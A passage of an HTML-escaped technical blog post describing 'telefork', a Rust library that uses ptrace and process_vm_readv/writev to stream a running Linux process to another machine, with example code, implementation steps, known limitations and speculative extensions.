&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.collect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;args&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.expect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;expected arg: address of teleserver&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stream&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;net&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;TcpStream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;match&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;telefork&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;stream&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;TeleforkLocation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Child&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;I teleported to another computer and was passed {}!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;val&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nn&quot;&gt;TeleforkLocation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Parent&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;println!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Done sending!&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I also provide a helper called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yoyo&lt;/code&gt; that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt;s to a server, executes a closure you give it, then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt;s back. This provides the illusion that you can easily run a snippet of code on a remote server, perhaps one with much more compute power available.&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// load the scene locally, this might require loading local scene files to memory&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;scene&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;create_scene&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backbuffer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;vec!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;Vec3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mf&quot;&gt;0.0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;width&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nn&quot;&gt;telefork&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;yoyo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// do a big ray tracing job on the remote server with many cores!&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;render_scene&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;scene&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;backbuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// write out the result to the local file system&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;save_png_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;backbuffer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;anatomy-of-a-linux-process&quot;&gt;Anatomy of a Linux process&lt;/h2&gt;

&lt;p&gt;Let’s look at what a process on Linux (the OS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt; works on) looks like:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/telefork/process_anatomy.png&quot; alt=&quot;Anatomy of a process diagram&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Memory mappings:&lt;/strong&gt; These specify the ranges of bytes from the space of possible memory addresess that our program is using, composed of “pages” of 4 kilobytes. You can inspect them for a process using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; file. These contain both all the executable code of our program as well as the data it is working with.
    &lt;ul&gt;
      &lt;li&gt;There are a few different types of these but we can treat these as just ranges of bytes that need to be copied and recreated at the same place (with the exception of some special ones).&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Threads:&lt;/strong&gt; A process can have multiple threads executing simultaneously on the same memory. These have ids and maybe some other state but when they’re paused they’re mainly described by the registers of the processor corresponding to the point of execution. Once we have all the memory copied we can just copy the register contents over into a thread on the destination process and then resume it.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;File descriptors:&lt;/strong&gt; The operating system has a table mapping ordinary integers to special kernel resources. You can do things with these resources by passing those integers to &lt;a href=&quot;http://man7.org/linux/man-pages/man2/syscalls.2.html&quot;&gt;syscalls&lt;/a&gt;. There are a whole bunch of different types of resources these file descriptors can point to and some of them like TCP connections can be tricky to clone.
    &lt;ul&gt;
      &lt;li&gt;I just gave up on this part and don’t handle them at all. The only ones that work are stdin/stdout/stderr since those are always mapped to 0, 1 and 2 for you.&lt;/li&gt;
      &lt;li&gt;That doesn’t mean it’s not possible to handle them, it just would take some extra work I’ll talk about later.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Miscellaneous:&lt;/strong&gt; There’s some other miscellaneous pieces of process state that vary in difficulty to replicate and most of the time aren’t important. Examples include the &lt;a href=&quot;http://man7.org/linux/man-pages/man2/brk.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brk&lt;/code&gt; heap pointer&lt;/a&gt;. Some of these are only possible to restore using weird tricks or special syscalls like &lt;a href=&quot;https://lore.kernel.org/patchwork/patch/494297/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PR_SET_MM_MAP&lt;/code&gt;&lt;/a&gt; that were added by other restoration efforts.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So we can make a basic &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt; implementation by just figuring out how to recreate the memory mappings and main thread registers. This should handle simple programs that mostly do computation without interacting with OS resources like files (in a way that needs to be teleported, opening a file on one system and closing it before calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt; is fine).&lt;/p&gt;

&lt;h2 id=&quot;how-to-telefork-a-process&quot;&gt;How to telefork a process&lt;/h2&gt;

&lt;p&gt;I wasn’t the first to think of the possibility of recreating a process on another machine. I emailed &lt;a href=&quot;https://robert.ocallahan.org/&quot;&gt;@rocallahan&lt;/a&gt;, the author of &lt;a href=&quot;https://github.com/mozilla/rr&quot;&gt;the rr record and replay debugger&lt;/a&gt; to ask some questions since rr does some very similar things to what I wanted to do. He let me know of the existence of &lt;a href=&quot;https://criu.org/Main_Page&quot;&gt;CRIU&lt;/a&gt;, which is an existing system that can stream a Linux process to a different system, designed for live migrating containers between hosts. CRIU supports restoring all sorts of file descriptors and other state, however the code was really complex and used lots of syscalls that required special kernel builds or root permissions. Linked from the CRIU wiki page I found &lt;a href=&quot;http://dmtcp.sourceforge.net/&quot;&gt;DMTCP&lt;/a&gt; which was built for snapshotting distributed supercomputer jobs so they could be restarted later, and it had &lt;a href=&quot;https://github.com/dmtcp/dmtcp/blob/7d02a2e063a8e70cc4d836d0b658124614666f44/src/mtcp/mtcp_restart.c&quot;&gt;easier to follow code&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;These didn’t dissuade me from trying to implement my own system since they’re super complex and require special runners and infrastructure, and I wanted to show how simple a basic teleport can be and make it just a library call. So I read pieces of source code from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rr&lt;/code&gt;, CRIU, DMTCP, and some ptrace examples, and put together my own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt; procedure. My method works in its own way that’s a hodgepodge of different techniques.&lt;/p&gt;

&lt;p&gt;In order to teleport a process, there’s both work that needs to be done in the source process which calls &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt;, and at the call to the function which receives a streamed process on the server and recreates it from the stream (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telepad&lt;/code&gt;). These can happen concurrently, but it’s also possible to do all the serializing before loading, for example by dumping to a file then loading later.&lt;/p&gt;

&lt;p&gt;Below is a simplified overview of both processes, if you want to know exactly how everything happens I encourage you to read &lt;a href=&quot;https://github.com/trishume/telefork/blob/master/src/lib.rs&quot;&gt;the source&lt;/a&gt;. It’s heavily commented, all in one file, and ordered so you can read it top to bottom to understand how everything works.&lt;/p&gt;

&lt;h2 id=&quot;sending-a-process-using-telefork&quot;&gt;Sending a process using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt; function is given a writeable stream over which it sends all the state of its process.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Fork the process&lt;/strong&gt; into a frozen child. It can be hard for a process to inspect its own state since as it inspects the state things like the stack and registers change. We can avoid this by using a normal Unix &lt;a href=&quot;http://man7.org/linux/man-pages/man2/fork.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fork&lt;/code&gt;&lt;/a&gt; and then have the child stop itself so we can inspect it.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Inspect the memory mappings.&lt;/strong&gt; This can be done by parsing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/proc/&amp;lt;pid&amp;gt;/maps&lt;/code&gt; to find out where all the memory maps are. I used the &lt;a href=&quot;https://github.com/rbspy/proc-maps&quot;&gt;proc_maps crate&lt;/a&gt; for this.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Send the info for special kernel maps.&lt;/strong&gt; Based on what DMTCP does, instead of copying the contents of special kernel maps we remap them, and this is best done before the rest of the mapping so we stream them first without their contents. These special maps like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[vdso]&lt;/code&gt; are used to make certain syscalls like getting the time faster.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Loop over the other memory maps and stream them&lt;/strong&gt; to the provided pipe. I first serialize a structure containing info about the mapping and then I loop over the pages in it and use the &lt;a href=&quot;http://man7.org/linux/man-pages/man2/process_vm_readv.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process_vm_readv&lt;/code&gt;&lt;/a&gt; syscall to copy memory from the child to a buffer, then write that buffer to the channel.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Send the registers.&lt;/strong&gt; I use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PTRACE_GETREGS&lt;/code&gt; option for the &lt;a href=&quot;http://man7.org/linux/man-pages/man2/ptrace.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptrace&lt;/code&gt; syscall&lt;/a&gt;, which allows me to get all register values of the child process. Then I just write them in a message over the pipe.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;running-syscalls-in-a-child-process&quot;&gt;Running syscalls in a child process&lt;/h2&gt;

&lt;p&gt;In order to mold a target process into a copy of the incoming process we’ll need to get the process to execute a bunch of syscalls on itself without having access to any code, because we’ve deleted it all. Here’s how I do remote syscalls using &lt;a href=&quot;http://man7.org/linux/man-pages/man2/ptrace.2.html&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ptrace&lt;/code&gt;&lt;/a&gt;, which is a versatile syscall for manipulating and inspecting other processes:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Find a syscall instruction&lt;/strong&gt;. You need at least one syscall instruction for the child to execute to be in an executable mapping. Some people patch one in, but instead I use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process_vm_readv&lt;/code&gt; to read the first page of the kernel &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[vdso]&lt;/code&gt; mapping, which as far as I know contains at least one syscall in all Linux versions so far, and then search through the bytes for its offset. I only do this once and update it when I move the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[vdso]&lt;/code&gt; mapping.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Set up the registers&lt;/strong&gt; to execute a syscall using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PTRACE_SETREGS&lt;/code&gt;. The instruction pointer points to the syscall instruction, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rax&lt;/code&gt; holds the &lt;a href=&quot;https://filippo.io/linux-syscall-table/&quot;&gt;Linux syscall number&lt;/a&gt;, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rdi, rsi, rdx, r10, r8, r9&lt;/code&gt; hold the arguments.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Step the process one instruction&lt;/strong&gt; using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PTRACE_SINGLESTEP&lt;/code&gt; option to execute the syscall instruction.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Read the registers&lt;/strong&gt; using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PTRACE_GETREGS&lt;/code&gt; to retreive the syscall return value and see if it succeeded.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;receiving-a-process-using-telepad&quot;&gt;Receiving a process using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telepad&lt;/code&gt;&lt;/h2&gt;

&lt;p&gt;Using this primitive and ones I’ve already described we can recreate the process:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Fork a frozen child.&lt;/strong&gt; Similar to sending except this time we need a child process we can manipulate to turn it into a clone of the process being streamed in.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Inspect the memory mappings.&lt;/strong&gt; This time we need to know all the existing memory maps so we can remove them to make room for the incoming process.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Unmap the existing mappings.&lt;/strong&gt; We loop over each of the mappings and manipulate the child process into calling &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;munmap&lt;/code&gt; on them.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Remap the special kernel mappings.&lt;/strong&gt; Read their destinations from the stream and use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mremap&lt;/code&gt; to remap them to their target destination.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Stream in the new mappings.&lt;/strong&gt; Use remote &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmap&lt;/code&gt; to create the mappings, then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;process_vm_writev&lt;/code&gt; to stream memory pages into them.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Restore the registers.&lt;/strong&gt; Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PTRACE_SETREGS&lt;/code&gt; to restore the registers for the main thread that were sent over, with the exception of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rax&lt;/code&gt; which is the return value for the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raise(SIGSTOP)&lt;/code&gt; that the snapshotted process stopped on, which we overwrite with an arbitrary integer passed to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telepad&lt;/code&gt;.
    &lt;ul&gt;
      &lt;li&gt;The arbitrary value is used so the telefork server can pass the file descriptor of the TCP connection the process came in on, so that it can send data back, or in the case of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;yoyo&lt;/code&gt; execute a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt; back over the same connection.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Restart the process&lt;/strong&gt; with its brand new contents by using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PTRACE_DETACH&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;doing-more-things-properly&quot;&gt;Doing more things properly&lt;/h2&gt;

&lt;p&gt;There’s a few things that are still broken in my implementation of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;telefork&lt;/code&gt;. I know how to fix them all, but I’m satisfied with how much I’ve implemented and sometimes they’re tricky to fix. This describes a few interesting examples of those things:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Handling the vDSO properly. I &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mremap&lt;/code&gt; the vDSO in the same way that &lt;a href=&quot;https://github.com/dmtcp/dmtcp/blob/7d02a2e063a8e70cc4d836d0b658124614666f44/src/mtcp/mtcp_restart.c#L813&quot;&gt;DMTCP does&lt;/a&gt; but that turns out to work only when restoring on the exact same kernel build. Copying the vDSO contents instead can work accross different builds of the same version, which is how I got my path tracing demo to work since getting the number of CPU cores in glibc checks the current time using the vDSO in order to cache the count. However the way to actually do it properly is to either patch all the vDSO functions to just execute syscall instructions like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rr&lt;/code&gt; does, or to patch each vDSO function to jump to the vDSO function from the donor process.&lt;/li&gt;
  &lt;li&gt;Restoring &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brk&lt;/code&gt; and other miscellaneous state. I tried to use a method from DMTCP to restore the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brk&lt;/code&gt; pointer but it only works if the target &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brk&lt;/code&gt; is greater than the donor’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;brk&lt;/code&gt;. The correct way to do it that also restores other things is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PR_SET_MM_MAP&lt;/code&gt;, but that requires elevated permissions and a kernel build flag.&lt;/li&gt;
  &lt;li&gt;Restoring thread local storage. Thread local storage in Rust seems to just work™ presumably because the FS and GS registers are restored, but there’s apparently some kind of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;glibc&lt;/code&gt; cache of the pid and tid that might mess up a different kind of thread local storage. One solution CRIU can do using fancy namespaces is restore the process with the same PID and TIDs.&lt;/li&gt;
  &lt;li&gt;Restore some file descriptors. This could be done either using individual strategies for each type of file descriptor, like checking if a file with the same name/contents exists on the destination system, or forwarding all reads/writes to the process source system using FUSE. However it’s a ton of effort to support all the types of file descriptors, like running TCP connections, so DMTCP and CRIU just painstakingly implement the most common types and give up on things like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;perf_event_open&lt;/code&gt; handles.&lt;/li&gt;
  &lt;li&gt;Handling multiple threads. Normal Unix &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;fork()&lt;/code&gt; doesn’t do this, but it should just involve stopping all threads before the memory streaming, then copying their registers and reinstating them in threads in the cloned process.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;even-crazier-ideas&quot;&gt;Even crazier ideas&lt;/h2&gt;

&lt;p&gt;I think this shows that some crazy things you might have thought weren’t possible can in fact be done given the right low level interfaces. Here’s some ideas extending on the basic telefork ideas that are totally possible to implement, although perhaps only with a very new or patched kernel:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Cluster telefork.&lt;/strong&gt; The original inspiration for telefork was the idea of streaming a process onto every machine in a compute cluster. You could maybe even use UDP multicast or peer-to-peer techniques to make the distribution of memory to the whole cluster faster. You probably also want to provide communication primitives.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Lazy memory streaming.&lt;/strong&gt; CRIU submitted patches to the kernel to add something called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;userfaultfd&lt;/code&gt; that can catch page faults and map in new pages more efficiently than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SIGSEGV&lt;/code&gt; handlers and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mmap&lt;/code&gt;. This can let you stream in new pages of memory only as they are accessed by the program, allowing you to teleport processes with lower latency since they can start running basically right away.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Remote threads!&lt;/strong&gt; You could transparently make a process think it was running on a machine with a thousand cores. You could use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;userfaultfd&lt;/code&gt; plus a &lt;a href=&quot;https://patchwork.kernel.org/cover/11005675/&quot;&gt;patch set for userfaultfd write protection&lt;/a&gt; &lt;a href=&quot;https://github.com/torvalds/linux/commit/63bef48fd6c9d3f1ba4f0e23b4da1e007db6a3c0&quot;&gt;which was just merged earlier this month&lt;/a&gt; to implement a cache-coherency algorithm like &lt;a href=&quot;https://en.wikipedia.org/wiki/MESI_protocol&quot;&gt;MESI&lt;/a&gt; to replicate the process memory across a cluster of machines efficiently such that memory would only need to be transferred when one machine read a page another wrote to since its last read. Then threads are just sets of registers that are very cheap to distribute across machines by swapping them into the registers of pools of kernel threads, and intelligently rearrange so they’re on the same machine as other threads they communicate with. You could even make syscalls work by pausing on syscall instructions, transferring the thread to the original host machine, executing the syscall, then transferring back. This is basically the way your multi-core or multi-socket CPU works except using pages instead of cache lines and the network instead of buses. The same techniques like minimizing sharing between threads that work for multi-core programming would make programs run efficiently here. I think this could actually be very cool, although it might need more kernel support to work seamlessly, but it could allow you to program a distributed cluster the same way you program a many-core machine and (with a bunch of optimization tricks I haven’t yet written about) have it be competitively efficient with the distributed system you otherwise would have written.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;I think this stuff is really cool because it’s an instance of one of my favourite techniques, which is diving in to find a lesser-known layer of abstraction that makes something that seems nigh-impossible actually not that much work. Teleporting a computation may seem impossible, or like it would require techniques like serializing all your state, copying a binary executable to the remote machine, and running it there with special command line flags to reload the state. But underneath your favourite programming language there’s a layer of abstraction where you can choose a fairly simple subset of things that make it possible to teleport at least most pure computations in any language in 500 lines of code and a single weekend. I think this kind of diving down often leads to solutions that are simpler and more universal. Another one of my projects like this is &lt;a href=&quot;https://blog.janestreet.com/commas-in-big-numbers-everywhere/&quot;&gt;Numderline&lt;/a&gt;.&lt;/p&gt;

